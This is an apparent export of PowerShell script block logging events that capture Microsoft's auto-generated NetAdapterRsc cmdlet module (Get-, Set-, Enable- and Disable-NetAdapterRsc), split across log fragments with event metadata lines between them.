if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('IPv4')) {
[object]$__cmdletization_value = ${IPv4}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IPv4'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IPv4'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('IPv6')) {
[object]$__cmdletization_value = ${IPv6}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IPv6'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IPv6'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Enable', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $false
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterRsc.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Enable-NetAdapterRsc' -Alias '*'
function Disable-NetAdapterRsc
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterRscSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[switch]
${IPv4},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[switch]
${IPv6},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('IPv4')) {
[object]$__cmdletization_value = ${IPv4}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IPv4'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IPv4'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('IPv6')) {
[object]$__cmdletization_value = ${IPv6}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IPv6'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IPv6'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; Param
ScriptBlock ID: 6056f8ce-82be-40f5-9264-d938380b07ad
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1867 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 5108 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:05 AM | dfeadd90-ee34-0004-bc28-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 3):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'ROOT/StandardCimv2/MSFT_NetAdapterRscSettingData'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function Get-NetAdapterRsc
{
[CmdletBinding(DefaultParameterSetName='ByName', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterRscSettingData')]
param(
[Parameter(ParameterSetName='ByName', Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName', ValueFromPipelineByPropertyName=$true)]
[Parameter(ParameterSetName='ByInstanceID', ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[bool[]]
${IPv4OperationalState},
[Parameter(ParameterSetName='ByName', ValueFromPipelineByPropertyName=$true)]
[Parameter(ParameterSetName='ByInstanceID', ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[bool[]]
${IPv6OperationalState},
[Parameter(ParameterSetName='ByName', ValueFromPipelineByPropertyName=$true)]
[Parameter(ParameterSetName='ByInstanceID', ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterRsc.FailureReason[]]
${IPv4FailureReason},
[Parameter(ParameterSetName='ByName', ValueFromPipelineByPropertyName=$true)]
[Parameter(ParameterSetName='ByInstanceID', ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterRsc.FailureReason[]]
${IPv6FailureReason},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IPv4OperationalState') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${IPv4OperationalState})
$__cmdletization_queryBuilder.FilterByProperty('IPv4OperationalState', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('IPv6OperationalState') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${IPv6OperationalState})
$__cmdletization_queryBuilder.FilterByProperty('IPv6OperationalState', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('IPv4FailureReason') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${IPv4FailureReason})
$__cmdletization_queryBuilder.FilterByProperty('IPv4FailureReason', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('IPv6FailureReason') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${IPv6FailureReason})
$__cmdletization_queryBuilder.FilterByProperty('IPv6FailureReason', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterRsc.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-NetAdapterRsc' -Alias '*'
function Set-NetAdapterRsc
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterRscSettingData')]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterRscSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[bool]
${IPv4Enabled},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[bool]
${IPv6Enabled},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('IPv4Enabled')) {
[object]$__cmdletization_value = ${IPv4Enabled}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IPv4Enabled'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IPv4Enabled'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('IPv6Enabled')) {
[object]$__cmdletization_value = ${IPv6Enabled}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IPv6Enabled'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IPv6Enabled'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('cim:ModifyInstance', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $PSBoundParameters.ContainsKey('PassThru') -and $PassThru
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterRsc.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Set-NetAdapterRsc' -Alias '*'
function Enable-NetAdapterRsc
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(Pa
ScriptBlock ID: 6056f8ce-82be-40f5-9264-d938380b07ad
